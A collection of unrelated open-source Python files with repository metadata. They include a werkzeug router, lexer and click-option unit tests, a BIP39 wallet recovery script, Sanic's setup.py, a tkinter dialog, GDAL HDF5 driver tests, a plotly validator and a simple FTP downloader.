continue new.add(r.empty()) self.url_map = new def dispatch(self, request: Request) -> Response: """ Does the entire dispatching roundtrip, from matching the request to endpoints, and then invoking the endpoint using the configured dispatcher of the router. For more information on the matching behavior, see ``werkzeug.routing.MapAdapter.match()``. :param request: the HTTP request :return: the HTTP response """ matcher = self.url_map.bind(server_name=request.host) handler, args = matcher.match( request.path, method=request.method, query_args=to_str(request.query_string) ) args.pop("__host__", None) return self.dispatcher(request, handler, args) def route( self, path: str, host: Optional[str] = None, methods: Optional[Iterable[str]] = None, **kwargs, ) -> Callable[[E], _RouteEndpoint]: """ Returns a ``route`` decorator and immediately adds it to the router instance. This effectively mimics flask's ``@app.route``. :param path: the path pattern to match :param host: an optional host matching pattern. if not pattern is given, the rule matches any host :param methods: the allowed HTTP verbs for this rule :param kwargs: any other argument that can be passed to ``werkzeug.routing.Rule`` :return: the function endpoint wrapped as a ``_RouteEndpoint`` """ def wrapper(fn): r = route(path, host, methods, **kwargs) fn = r(fn) self.add_route_endpoint(fn) return fn return wrapper class RegexConverter(BaseConverter): def __init__(self, map: "Map", *args: Any, **kwargs: Any) -> None: super().__init__(map, *args, **kwargs) self.regex = args[0]

33.696629

119

0.642214

f4ad5d40a98c476cc27350aa4c7bf886ff5dfcd4

1,122

py

Python

sol/test_lexer.py

ianpreston/sol

469fff7f7aff8469e7a2731fbf4b06de0db78836

[ "MIT" ]

null

sol/test_lexer.py

ianpreston/sol

469fff7f7aff8469e7a2731fbf4b06de0db78836

[ "MIT" ]

null

sol/test_lexer.py

ianpreston/sol

469fff7f7aff8469e7a2731fbf4b06de0db78836

[ "MIT" ]

null

from sol.lexer import Lexer, Token, TokenType def test_assignment(): source = 'x := Object.clone' lexer = Lexer(source) tokens = lexer.iter_match_tokens() tokens = list(tokens) assert tokens == [ Token(TokenType.IDENT, 'x'), Token(TokenType.OPER, ':='), Token(TokenType.IDENT, 'Object'), Token(TokenType.DOT, '.'), Token(TokenType.IDENT, 'clone'), Token(TokenType.EOF, 'EOF'), ] def test_string(): source = 'x := "Hello world"' lexer = Lexer(source) tokens = lexer.iter_match_tokens() tokens = list(tokens) assert tokens == [ Token(TokenType.IDENT, 'x'), Token(TokenType.OPER, ':='), Token(TokenType.STRING, 'Hello world'), Token(TokenType.EOF, 'EOF'), ] def test_multiple_idents(): source = 'a bar quux' lexer = Lexer(source) tokens = lexer.iter_match_tokens() tokens = list(tokens) assert tokens == [ Token(TokenType.IDENT, 'a'), Token(TokenType.IDENT, 'bar'), Token(TokenType.IDENT, 'quux'), Token(TokenType.EOF, 'EOF'), ]

22.897959

47

0.582888

bd4135af844412519a6f855555c6e21968751b6a

4,202

py

Python

tests/test_prompt.py

nobody-65534/click-constrained-option

db9d3cbcf551b888cf4f38717d864a9c1e4568a9

[ "BSD-3-Clause" ]

null

tests/test_prompt.py

nobody-65534/click-constrained-option

db9d3cbcf551b888cf4f38717d864a9c1e4568a9

[ "BSD-3-Clause" ]

null

tests/test_prompt.py

nobody-65534/click-constrained-option

db9d3cbcf551b888cf4f38717d864a9c1e4568a9

[ "BSD-3-Clause" ]

null

import re import unittest import click from click.testing import CliRunner from click_constrained_option import ConstrainedOption class TestPrompt(unittest.TestCase): def test_prompt_func(self): @click.command() @click.option("--a") @click.option("--b", cls=ConstrainedOption, prompt_func=lambda a: a == '0') def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, ["--a=0"], input="1\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': '0', 'b': '1'}, eval(re.findall(r".+", result.output)[-1])) def test_prompt_if(self): @click.command() @click.option("--a") @click.option("--b", cls=ConstrainedOption, prompt_if="a") def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, ["--a=0"], input="1\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': '0', 'b': '1'}, eval(re.findall(r".+", result.output)[-1])) def test_prompt_if_not(self): @click.command() @click.option("--a") @click.option("--b", cls=ConstrainedOption, prompt_if_not="a") def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, [], input="0\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': None, 'b': '0'}, eval(re.findall(r".+", result.output)[-1])) def test_prompt_if_all_of(self): @click.command() @click.option("--a") @click.option("--b") @click.option("--c", cls=ConstrainedOption, prompt_if_all_of=["a", "b"]) def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, ["--a=0", "--b=1"], input="3\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': '0', 'b': '1', 'c': '3'}, eval(re.findall(r".+", result.output)[-1])) def test_prompt_if_none_of(self): @click.command() @click.option("--a") @click.option("--b") @click.option("--c", cls=ConstrainedOption, prompt_if_none_of=["a", "b"]) def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, [], input="0\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': None, 'b': None, 'c': '0'}, eval(re.findall(r".+", result.output)[-1])) def test_prompt_if_any_of(self): @click.command() @click.option("--a") @click.option("--b") @click.option("--c", cls=ConstrainedOption, prompt_if_any_of=["a", "b"]) def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, ["--a=0"], input="1\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': '0', 'b': None, 'c': '1'}, eval(re.findall(r".+", result.output)[-1])) def test_prompt_if_one_of(self): @click.command() @click.option("--a") @click.option("--b") @click.option("--c", cls=ConstrainedOption, prompt_if_one_of=["a", "b"]) def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, ["--a=0"], input="1\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': '0', 'b': None, 'c': '1'}, eval(re.findall(r".+", result.output)[-1])) def test_composition(self): @click.command() @click.option("--a") @click.option("--b") @click.option("--c") @click.option("--d") @click.option("--e", cls=ConstrainedOption, prompt_if="a", prompt_if_not="b", prompt_if_one_of=["c", "d"]) def cli(**kwargs): click.echo(kwargs) runner = CliRunner() result = runner.invoke(cli, ["--a=0", "--c=1"], input="2\n") self.assertEqual(result.exit_code, 0) self.assertDictEqual({'a': '0', 'b': None, 'c': '1', 'd': None, 'e': '2'}, eval(re.findall(r".+", result.output)[-1])) if __name__ == '__main__': unittest.main()

33.616

126

0.554736

7034cbd365315f9239fbd832974a75f4c1eaca8d

1,345

py

Python

electrum_cintamani/scripts/bip39_recovery.py

sgmua8/electrum-dash

f7e6059fb07994867af3eebd1cd0c9789a0615d3

[ "MIT" ]

null

electrum_cintamani/scripts/bip39_recovery.py

sgmua8/electrum-dash

f7e6059fb07994867af3eebd1cd0c9789a0615d3

[ "MIT" ]

null

electrum_cintamani/scripts/bip39_recovery.py

sgmua8/electrum-dash

f7e6059fb07994867af3eebd1cd0c9789a0615d3

[ "MIT" ]

null

#!/usr/bin/env python3 import sys import asyncio from electrum_cintamani.util import json_encode, print_msg, create_and_start_event_loop, log_exceptions from electrum_cintamani.simple_config import SimpleConfig from electrum_cintamani.network import Network from electrum_cintamani.keystore import bip39_to_seed from electrum_cintamani.bip32 import BIP32Node from electrum_cintamani.bip39_recovery import account_discovery try: mnemonic = sys.argv[1] passphrase = sys.argv[2] if len(sys.argv) > 2 else "" except Exception: print("usage: bip39_recovery <mnemonic> [<passphrase>]") sys.exit(1) loop, stopping_fut, loop_thread = create_and_start_event_loop() config = SimpleConfig() network = Network(config) network.start() @log_exceptions async def f(): try: def get_account_xpub(account_path): root_seed = bip39_to_seed(mnemonic, passphrase) root_node = BIP32Node.from_rootseed(root_seed, xtype="standard") account_node = root_node.subkey_at_private_derivation(account_path) account_xpub = account_node.to_xpub() return account_xpub active_accounts = await account_discovery(network, get_account_xpub) print_msg(json_encode(active_accounts)) finally: stopping_fut.set_result(1) asyncio.run_coroutine_threadsafe(f(), loop)

32.804878

103

0.758364

fc19e20a5cb2dd172edd230c3f5a337eef9adf86

3,656

py

Python

setup.py

ddc67cd/sanic

150d75b7c6aa2346436f0eb895048c53976c98d4

[ "MIT" ]

null

setup.py

ddc67cd/sanic

150d75b7c6aa2346436f0eb895048c53976c98d4

[ "MIT" ]

null

setup.py

ddc67cd/sanic

150d75b7c6aa2346436f0eb895048c53976c98d4

[ "MIT" ]

null

""" Sanic """ import codecs import os import re import sys from distutils.util import strtobool from setuptools import setup from setuptools.command.test import test as TestCommand class PyTest(TestCommand): """ Provide a Test runner to be used from setup.py to run unit tests """ user_options = [("pytest-args=", "a", "Arguments to pass to pytest")] def initialize_options(self): TestCommand.initialize_options(self) self.pytest_args = "" def run_tests(self): import shlex import pytest errno = pytest.main(shlex.split(self.pytest_args)) sys.exit(errno) def open_local(paths, mode="r", encoding="utf8"): path = os.path.join(os.path.abspath(os.path.dirname(__file__)), *paths) return codecs.open(path, mode, encoding) with open_local(["sanic", "__version__.py"], encoding="latin1") as fp: try: version = re.findall( r"^__version__ = \"([^']+)\"\r?$", fp.read(), re.M )[0] except IndexError: raise RuntimeError("Unable to determine version.") with open_local(["README.rst"]) as rm: long_description = rm.read() setup_kwargs = { "name": "sanic", "version": version, "url": "http://github.com/huge-success/sanic/", "license": "MIT", "author": "Sanic Community", "author_email": "admhpkns@gmail.com", "description": ( "A web server and web framework that's written to go fast. Build fast. Run fast." ), "long_description": long_description, "packages": ["sanic"], "package_data": {"sanic": ["py.typed"]}, "platforms": "any", "python_requires": ">=3.6", "classifiers": [ "Development Status :: 4 - Beta", "Environment :: Web Environment", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", ], "entry_points": {"console_scripts": ["sanic = sanic.__main__:main"]}, } env_dependency = ( '; sys_platform != "win32" ' 'and implementation_name == "cpython"' ) ujson = "ujson>=1.35" + env_dependency uvloop = "uvloop>=0.5.3" + env_dependency requirements = [ "httptools>=0.0.10", uvloop, ujson, "aiofiles>=0.6.0", "websockets>=8.1,<9.0", "multidict>=5.0,<6.0", "httpx==0.15.4", ] tests_require = [ "pytest==5.2.1", "multidict>=5.0,<6.0", "gunicorn==20.0.4", "pytest-cov", "httpcore==0.11.*", "beautifulsoup4", uvloop, ujson, "pytest-sanic", "pytest-sugar", "pytest-benchmark", "pytest-dependency", ] docs_require = [ "sphinx>=2.1.2", "sphinx_rtd_theme", "recommonmark>=0.5.0", "docutils", "pygments", ] dev_require = tests_require + [ "aiofiles", "tox", "black", "flake8", "bandit", "towncrier", ] all_require = dev_require + docs_require if strtobool(os.environ.get("SANIC_NO_UJSON", "no")): print("Installing without uJSON") requirements.remove(ujson) tests_require.remove(ujson) # 'nt' means windows OS if strtobool(os.environ.get("SANIC_NO_UVLOOP", "no")): print("Installing without uvLoop") requirements.remove(uvloop) tests_require.remove(uvloop) extras_require = { "test": tests_require, "dev": dev_require, "docs": docs_require, "all": all_require, } setup_kwargs["install_requires"] = requirements setup_kwargs["tests_require"] = tests_require setup_kwargs["extras_require"] = extras_require setup_kwargs["cmdclass"] = {"test": PyTest} setup(**setup_kwargs)

24.052632

89

0.623359

17801e9e466202eeec71ada65ca49688ba648bb1

969

py

Python

tanager_feeder/dialogs/new_dir_dialog.py

westernmarslab/tanager-feeder

59bc4d5deca474e2c915ea49aaba791f247de41f

[ "MIT" ]

null

tanager_feeder/dialogs/new_dir_dialog.py

westernmarslab/tanager-feeder

59bc4d5deca474e2c915ea49aaba791f247de41f

[ "MIT" ]

null

tanager_feeder/dialogs/new_dir_dialog.py

westernmarslab/tanager-feeder

59bc4d5deca474e2c915ea49aaba791f247de41f

[ "MIT" ]

1

2021-04-23T00:03:46.000Z

from tkinter import Entry from tanager_feeder.dialogs.dialog import Dialog class NewDirDialog(Dialog): def __init__(self, controller, fexplorer, label="New directory name: ", title="New Directoy"): super().__init__( controller, label=label, title=title, buttons={"ok": {self.get: []}, "cancel": {}}, button_width=15 ) self.dir_entry = Entry( self.top, width=40, bg=self.tk_format.entry_background, selectbackground=self.tk_format.selectbackground, selectforeground=self.tk_format.selectforeground, ) self.dir_entry.pack(padx=(10, 10)) self.listener = self.controller.spec_listener self.fexplorer = fexplorer def get(self): subdir = self.dir_entry.get() if subdir[0:3] != "C:\\": self.fexplorer.mkdir(self.fexplorer.current_parent + "\\" + subdir) else: self.fexplorer.mkdir(subdir)

35.888889

111

0.618163

a2aea9bde1b97b40d6b686cf8b8ff209ffe48660

15,224

py

Python

autotest/gdrivers/hdf5.py

oss-qm/gdal

bec8aaf79c337fc6ac3a6f18d66b320e48904854

[ "MIT" ]

null

autotest/gdrivers/hdf5.py

oss-qm/gdal

bec8aaf79c337fc6ac3a6f18d66b320e48904854

[ "MIT" ]

null

autotest/gdrivers/hdf5.py

oss-qm/gdal

bec8aaf79c337fc6ac3a6f18d66b320e48904854

[ "MIT" ]

null

#!/usr/bin/env pytest # -*- coding: utf-8 -*- ############################################################################### # $Id$ # # Project: GDAL/OGR Test Suite # Purpose: Test read functionality for HDF5 driver. # Author: Even Rouault <even dot rouault at mines dash paris dot org> # ############################################################################### # Copyright (c) 2008-2013, Even Rouault <even dot rouault at mines-paris dot org> # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. ############################################################################### import shutil import pytest from osgeo import gdal import gdaltest from uffd import uffd_compare ############################################################################### # Test if HDF5 driver is present pytestmark = pytest.mark.require_driver('HDF5') @pytest.fixture(autouse=True) def check_no_file_leaks(): num_files = len(gdaltest.get_opened_files()) yield diff = len(gdaltest.get_opened_files()) - num_files assert diff == 0, 'Leak of file handles: %d leaked' % diff ############################################################################### # Confirm expected subdataset information. def test_hdf5_2(): ds = gdal.Open('data/groups.h5') sds_list = ds.GetMetadata('SUBDATASETS') assert len(sds_list) == 4, 'Did not get expected subdataset count.' assert sds_list['SUBDATASET_1_NAME'] == 'HDF5:"data/groups.h5"://MyGroup/Group_A/dset2' and sds_list['SUBDATASET_2_NAME'] == 'HDF5:"data/groups.h5"://MyGroup/dset1', \ 'did not get expected subdatasets.' ds = None assert not gdaltest.is_file_open('data/groups.h5'), 'file still opened.' ############################################################################### # Confirm that single variable files can be accessed directly without # subdataset stuff. def test_hdf5_3(): ds = gdal.Open('HDF5:"data/u8be.h5"://TestArray') cs = ds.GetRasterBand(1).Checksum() assert cs == 135, 'did not get expected checksum' ds = None assert not gdaltest.is_file_open('data/u8be.h5'), 'file still opened.' ############################################################################### # Confirm subdataset access, and checksum. def test_hdf5_4(): ds = gdal.Open('HDF5:"data/u8be.h5"://TestArray') cs = ds.GetRasterBand(1).Checksum() assert cs == 135, 'did not get expected checksum' ############################################################################### # Similar check on a 16bit dataset. def test_hdf5_5(): ds = gdal.Open('HDF5:"data/groups.h5"://MyGroup/dset1') cs = ds.GetRasterBand(1).Checksum() assert cs == 18, 'did not get expected checksum' ############################################################################### # Test generating an overview on a subdataset. def test_hdf5_6(): shutil.copyfile('data/groups.h5', 'tmp/groups.h5') ds = gdal.Open('HDF5:"tmp/groups.h5"://MyGroup/dset1') ds.BuildOverviews(overviewlist=[2]) ds = None assert not gdaltest.is_file_open('tmp/groups.h5'), 'file still opened.' ds = gdal.Open('HDF5:"tmp/groups.h5"://MyGroup/dset1') assert ds.GetRasterBand(1).GetOverviewCount() == 1, 'failed to find overview' ds = None # confirm that it works with a different path. (#3290) ds = gdal.Open('HDF5:"data/../tmp/groups.h5"://MyGroup/dset1') assert ds.GetRasterBand(1).GetOverviewCount() == 1, \ 'failed to find overview with alternate path' ovfile = ds.GetMetadataItem('OVERVIEW_FILE', 'OVERVIEWS') assert ovfile[:11] == 'data/../tmp', 'did not get expected OVERVIEW_FILE.' ds = None gdaltest.clean_tmp() ############################################################################### # Coarse metadata check (regression test for #2412). def test_hdf5_7(): ds = gdal.Open('data/metadata.h5') metadata = ds.GetMetadata() metadataList = ds.GetMetadata_List() ds = None assert not gdaltest.is_file_open('data/metadata.h5'), 'file still opened.' assert len(metadata) == len(metadataList), 'error in metadata dictionary setup' metadataList = [item.split('=', 1)[0] for item in metadataList] for key in metadataList: try: metadata.pop(key) except KeyError: pytest.fail('unable to find "%s" key' % key) ############################################################################### # Test metadata names. def test_hdf5_8(): ds = gdal.Open('data/metadata.h5') metadata = ds.GetMetadata() ds = None assert metadata, 'no metadata found' h5groups = ['G1', 'Group with spaces', 'Group_with_underscores', 'Group with spaces_and_underscores'] h5datasets = ['D1', 'Dataset with spaces', 'Dataset_with_underscores', 'Dataset with spaces_and_underscores'] attributes = { 'attribute': 'value', 'attribute with spaces': 0, 'attribute_with underscores': 0, 'attribute with spaces_and_underscores': .1, } def scanMetadata(parts): for attr in attributes: name = '_'.join(parts + [attr]) name = name.replace(' ', '_') assert name in metadata, ('unable to find metadata: "%s"' % name) value = metadata.pop(name) value = value.strip(' d') value = type(attributes[attr])(value) assert value == attributes[attr], ('incorrect metadata value for "%s": ' '"%s" != "%s"' % (name, value, attributes[attr])) # level0 assert scanMetadata([]) is None # level1 datasets for h5dataset in h5datasets: assert scanMetadata([h5dataset]) is None # level1 groups for h5group in h5groups: assert scanMetadata([h5group]) is None # level2 datasets for h5dataset in h5datasets: assert scanMetadata([h5group, h5dataset]) is None ############################################################################### # Variable length string metadata check (regression test for #4228). def test_hdf5_9(): if int(gdal.VersionInfo('VERSION_NUM')) < 1900: pytest.skip('would crash') ds = gdal.Open('data/vlstr_metadata.h5') metadata = ds.GetRasterBand(1).GetMetadata() ds = None assert not gdaltest.is_file_open('data/vlstr_metadata.h5'), 'file still opened.' ref_metadata = { 'TEST_BANDNAMES': 'SAA', 'TEST_CODING': '0.6666666667 0.0000000000 TRUE', 'TEST_FLAGS': '255=noValue', 'TEST_MAPPING': 'Geographic Lat/Lon 0.5000000000 0.5000000000 27.3154761905 -5.0833333333 0.0029761905 0.0029761905 WGS84 Degrees', 'TEST_NOVALUE': '255', 'TEST_RANGE': '0 255 0 255', } assert len(metadata) == len(ref_metadata), ('incorrect number of metadata: ' 'expected %d, got %d' % (len(ref_metadata), len(metadata))) for key in metadata: assert key in ref_metadata, ('unexpected metadata key "%s"' % key) assert metadata[key] == ref_metadata[key], \ ('incorrect metadata value for key "%s": ' 'expected "%s", got "%s" ' % (key, ref_metadata[key], metadata[key])) ############################################################################### # Test CSK_DGM.h5 (#4160) def test_hdf5_10(): # Try opening the QLK subdataset to check that no error is generated gdal.ErrorReset() ds = gdal.Open('HDF5:"data/CSK_DGM.h5"://S01/QLK') assert ds is not None and gdal.GetLastErrorMsg() == '' ds = None ds = gdal.Open('HDF5:"data/CSK_DGM.h5"://S01/SBI') got_gcpprojection = ds.GetGCPProjection() assert got_gcpprojection.startswith('GEOGCS["WGS 84",DATUM["WGS_1984"') got_gcps = ds.GetGCPs() assert len(got_gcps) == 4 assert (abs(got_gcps[0].GCPPixel - 0) <= 1e-5 and abs(got_gcps[0].GCPLine - 0) <= 1e-5 and \ abs(got_gcps[0].GCPX - 12.2395902509238) <= 1e-5 and abs(got_gcps[0].GCPY - 44.7280047434954) <= 1e-5) ds = None assert not gdaltest.is_file_open('data/CSK_DGM.h5'), 'file still opened.' ############################################################################### # Test CSK_GEC.h5 (#4160) def test_hdf5_11(): # Try opening the QLK subdataset to check that no error is generated gdal.ErrorReset() ds = gdal.Open('HDF5:"data/CSK_GEC.h5"://S01/QLK') assert ds is not None and gdal.GetLastErrorMsg() == '' ds = None ds = gdal.Open('HDF5:"data/CSK_GEC.h5"://S01/SBI') got_projection = ds.GetProjection() assert got_projection.startswith('PROJCS["Transverse_Mercator",GEOGCS["WGS 84",DATUM["WGS_1984"') got_gt = ds.GetGeoTransform() expected_gt = (275592.5, 2.5, 0.0, 4998152.5, 0.0, -2.5) for i in range(6): assert abs(got_gt[i] - expected_gt[i]) <= 1e-5 ds = None assert not gdaltest.is_file_open('data/CSK_GEC.h5'), 'file still opened.' ############################################################################### # Test ODIM_H5 (#5032) def test_hdf5_12(): if not gdaltest.download_file('http://trac.osgeo.org/gdal/raw-attachment/ticket/5032/norsa.ss.ppi-00.5-dbz.aeqd-1000.20070601T000039Z.hdf', 'norsa.ss.ppi-00.5-dbz.aeqd-1000.20070601T000039Z.hdf'): pytest.skip() ds = gdal.Open('tmp/cache/norsa.ss.ppi-00.5-dbz.aeqd-1000.20070601T000039Z.hdf') got_projection = ds.GetProjection() assert 'Azimuthal_Equidistant' in got_projection got_gt = ds.GetGeoTransform() expected_gt = (-239999.9823595533, 997.9165855496311, 0.0, 239000.03320328312, 0.0, -997.9167782264051) assert max([abs(got_gt[i] - expected_gt[i]) for i in range(6)]) <= 1e-5, got_gt ############################################################################### # Test MODIS L2 HDF5 GCPs (#6666) def test_hdf5_13(): if not gdaltest.download_file('http://oceandata.sci.gsfc.nasa.gov/cgi/getfile/A2016273115000.L2_LAC_OC.nc', 'A2016273115000.L2_LAC_OC.nc'): pytest.skip() ds = gdal.Open('HDF5:"tmp/cache/A2016273115000.L2_LAC_OC.nc"://geophysical_data/Kd_490') got_gcps = ds.GetGCPs() assert len(got_gcps) == 3030 assert (abs(got_gcps[0].GCPPixel - 0.5) <= 1e-5 and abs(got_gcps[0].GCPLine - 0.5) <= 1e-5 and \ abs(got_gcps[0].GCPX - 33.1655693) <= 1e-5 and abs(got_gcps[0].GCPY - 39.3207207) <= 1e-5) ############################################################################### # Test complex data subsets def test_hdf5_14(): ds = gdal.Open('data/complex.h5') sds_list = ds.GetMetadata('SUBDATASETS') assert len(sds_list) == 6, 'Did not get expected complex subdataset count.' assert sds_list['SUBDATASET_1_NAME'] == 'HDF5:"data/complex.h5"://f16' and sds_list['SUBDATASET_2_NAME'] == 'HDF5:"data/complex.h5"://f32' and sds_list['SUBDATASET_3_NAME'] == 'HDF5:"data/complex.h5"://f64', \ 'did not get expected subdatasets.' ds = None assert not gdaltest.is_file_open('data/complex.h5'), 'file still opened.' ############################################################################### # Confirm complex subset data access and checksum # Start with Float32 def test_hdf5_15(): ds = gdal.Open('HDF5:"data/complex.h5"://f32') cs = ds.GetRasterBand(1).Checksum() assert cs == 523, 'did not get expected checksum' # Repeat for Float64 def test_hdf5_16(): ds = gdal.Open('HDF5:"data/complex.h5"://f64') cs = ds.GetRasterBand(1).Checksum() assert cs == 511, 'did not get expected checksum' # Repeat for Float16 def test_hdf5_17(): ds = gdal.Open('HDF5:"data/complex.h5"://f16') cs = ds.GetRasterBand(1).Checksum() assert cs == 412, 'did not get expected checksum' def test_hdf5_single_char_varname(): ds = gdal.Open('HDF5:"data/single_char_varname.h5"://e') assert ds is not None def test_hdf5_attr_all_datatypes(): ds = gdal.Open('data/attr_all_datatypes.h5') assert ds is not None assert ds.GetMetadata() == {'attr_float16': '125 ', 'attr_float32': '125 ', 'attr_float64': '125 ', 'attr_int16': '125 ', 'attr_int32': '125 ', 'attr_int8': '125 ', 'attr_uint16': '125 ', 'attr_uint32': '125 ', 'attr_uint8': '125 '} def test_hdf5_virtual_file(): hdf5_files = [ 'CSK_GEC.h5', 'vlstr_metadata.h5', 'groups.h5', 'complex.h5', 'single_char_varname.h5', 'CSK_DGM.h5', 'u8be.h5', 'metadata.h5' ] for hdf5_file in hdf5_files: assert uffd_compare(hdf5_file) is True # FIXME: This FTP server seems to have disappeared. Replace with something else? hdf5_list = [ ('ftp://ftp.hdfgroup.uiuc.edu/pub/outgoing/hdf_files/hdf5/samples/convert', 'C1979091.h5', 'HDF4_PALGROUP/HDF4_PALETTE_2', 7488, -1), ('ftp://ftp.hdfgroup.uiuc.edu/pub/outgoing/hdf_files/hdf5/samples/convert', 'C1979091.h5', 'Raster_Image_#0', 3661, -1), ('ftp://ftp.hdfgroup.uiuc.edu/pub/outgoing/hdf_files/hdf5/geospatial/DEM', 'half_moon_bay.grid', 'HDFEOS/GRIDS/DEMGRID/Data_Fields/Elevation', 30863, -1), ] @pytest.mark.parametrize( 'downloadURL,fileName,subdatasetname,checksum,download_size', hdf5_list, ids=['HDF5:"' + item[1] + '"://' + item[2] for item in hdf5_list], ) def test_hdf5(downloadURL, fileName, subdatasetname, checksum, download_size): if not gdaltest.download_file(downloadURL + '/' + fileName, fileName, download_size): pytest.skip('no download') ds = gdal.Open('HDF5:"tmp/cache/' + fileName + '"://' + subdatasetname) assert ds.GetRasterBand(1).Checksum() == checksum, 'Bad checksum. Expected %d, got %d' % (checksum, ds.GetRasterBand(1).Checksum()) def test_hdf5_dimension_labels_with_null(): assert gdal.Open('data/dimension_labels_with_null.h5')

33.459341

213

0.583684

46dbc192eccdafd16e79757e75b47589e023a62b

601

py

Python

plotly/validators/scatterpolar/marker/colorbar/_showexponent.py

gnestor/plotly.py

a8ae062795ddbf9867b8578fe6d9e244948c15ff

[ "MIT" ]

12

2020-04-18T18:10:22.000Z

2021-12-06T10:11:15.000Z

plotly/validators/scatterpolar/marker/colorbar/_showexponent.py

Vesauza/plotly.py

e53e626d59495d440341751f60aeff73ff365c28

[ "MIT" ]

27

2020-04-28T21:23:12.000Z

2021-06-25T15:36:38.000Z

plotly/validators/scatterpolar/marker/colorbar/_showexponent.py

Vesauza/plotly.py

e53e626d59495d440341751f60aeff73ff365c28

[ "MIT" ]

6

2020-04-18T23:07:08.000Z

2021-11-18T07:53:06.000Z

import _plotly_utils.basevalidators class ShowexponentValidator(_plotly_utils.basevalidators.EnumeratedValidator): def __init__( self, plotly_name='showexponent', parent_name='scatterpolar.marker.colorbar', **kwargs ): super(ShowexponentValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop('edit_type', 'colorbars'), role=kwargs.pop('role', 'style'), values=kwargs.pop('values', ['all', 'first', 'last', 'none']), **kwargs )

30.05

78

0.613977

6a5f0cfc0d314d4b3cd2e0ecea86581feac805e8

1,615

py

Python

ftpConn.py

mastix/mqtt-ftp-downloader

0a7d1bec3831d690a90620948a668547f2f06a66

[ "MIT" ]

null

ftpConn.py

mastix/mqtt-ftp-downloader

0a7d1bec3831d690a90620948a668547f2f06a66

[ "MIT" ]

null

ftpConn.py

mastix/mqtt-ftp-downloader

0a7d1bec3831d690a90620948a668547f2f06a66

[ "MIT" ]

1

2018-05-19T21:30:01.000Z

""" Script: ftpConn.py Author: Sascha Sambale Date: June 21st, 2016 Purpose: Accesses an FTP Server to download a given file from a given path. """ import ftplib import logging import tempfile class FTPConnection(object): def __init__(self): self.logger = logging.getLogger('ftpDownloader') self.ftp_conn = ftplib.FTP() self.user = "user" self.password = "password" self.port = 21 self.path = "/" self.local_path = tempfile.gettempdir() + "/" self.host = "myHost" def config(self, logger, user, password, host, port, path, local_path): self.logger = logger self.host = host self.user = user self.password = password self.port = port self.path = path self.local_path = local_path def download(self, filename): self.ftp_conn = ftplib.FTP(str(self.host)) file_name = filename.split("/") local_filename = filename if len(file_name) > 1: local_filename = file_name[len(file_name) - 1] self.logger.info( "Local filename must not contain a full path - will reduce to filename only!") self.logger.info("Old file name: %s", filename) self.logger.info("New file name: %s", local_filename) file = open(self.local_path + local_filename, 'wb') self.ftp_conn.cwd(self.path) self.ftp_conn.retrbinary('RETR ' + filename, file.write) self.logger.info("File downloaded: " + self.local_path + local_filename) file.close() self.ftp_conn.quit()

32.959184

98

0.611765

21ec3b67b28fe035bda6d06ef18c104618a96616

92

py

Python

ramlgnarok_test_app/raml_test/apps.py

pkucmus/ramlgnarok

620f062d4f8421c8c1a70dfdabb54fb08912e3cc

[ "MIT" ]

null

ramlgnarok_test_app/raml_test/apps.py

pkucmus/ramlgnarok

620f062d4f8421c8c1a70dfdabb54fb08912e3cc

[ "MIT" ]

null

ramlgnarok_test_app/raml_test/apps.py

pkucmus/ramlgnarok

620f062d4f8421c8c1a70dfdabb54fb08912e3cc

[ "MIT" ]

null

from django.apps import AppConfig class RamlTestConfig(AppConfig): name = 'raml_test'

15.333333

33

0.76087

5ef6553aee61b81b4686b35be205dc561f3680fd

21,393

py

Python

rpython/jit/backend/arm/callbuilder.py

nanjekyejoannah/pypy

e80079fe13c29eda7b2a6b4cd4557051f975a2d9

[ "Apache-2.0", "OpenSSL" ]

333

2015-08-08T18:03:38.000Z

2022-03-22T18:13:12.000Z

rpython/jit/backend/arm/callbuilder.py

nanjekyejoannah/pypy

e80079fe13c29eda7b2a6b4cd4557051f975a2d9

[ "Apache-2.0", "OpenSSL" ]

7

2020-02-16T16:49:05.000Z

2021-11-26T09:00:56.000Z

rpython/jit/backend/arm/callbuilder.py

nanjekyejoannah/pypy

e80079fe13c29eda7b2a6b4cd4557051f975a2d9

[ "Apache-2.0", "OpenSSL" ]

55

2015-08-16T02:41:30.000Z

2022-03-20T20:33:35.000Z

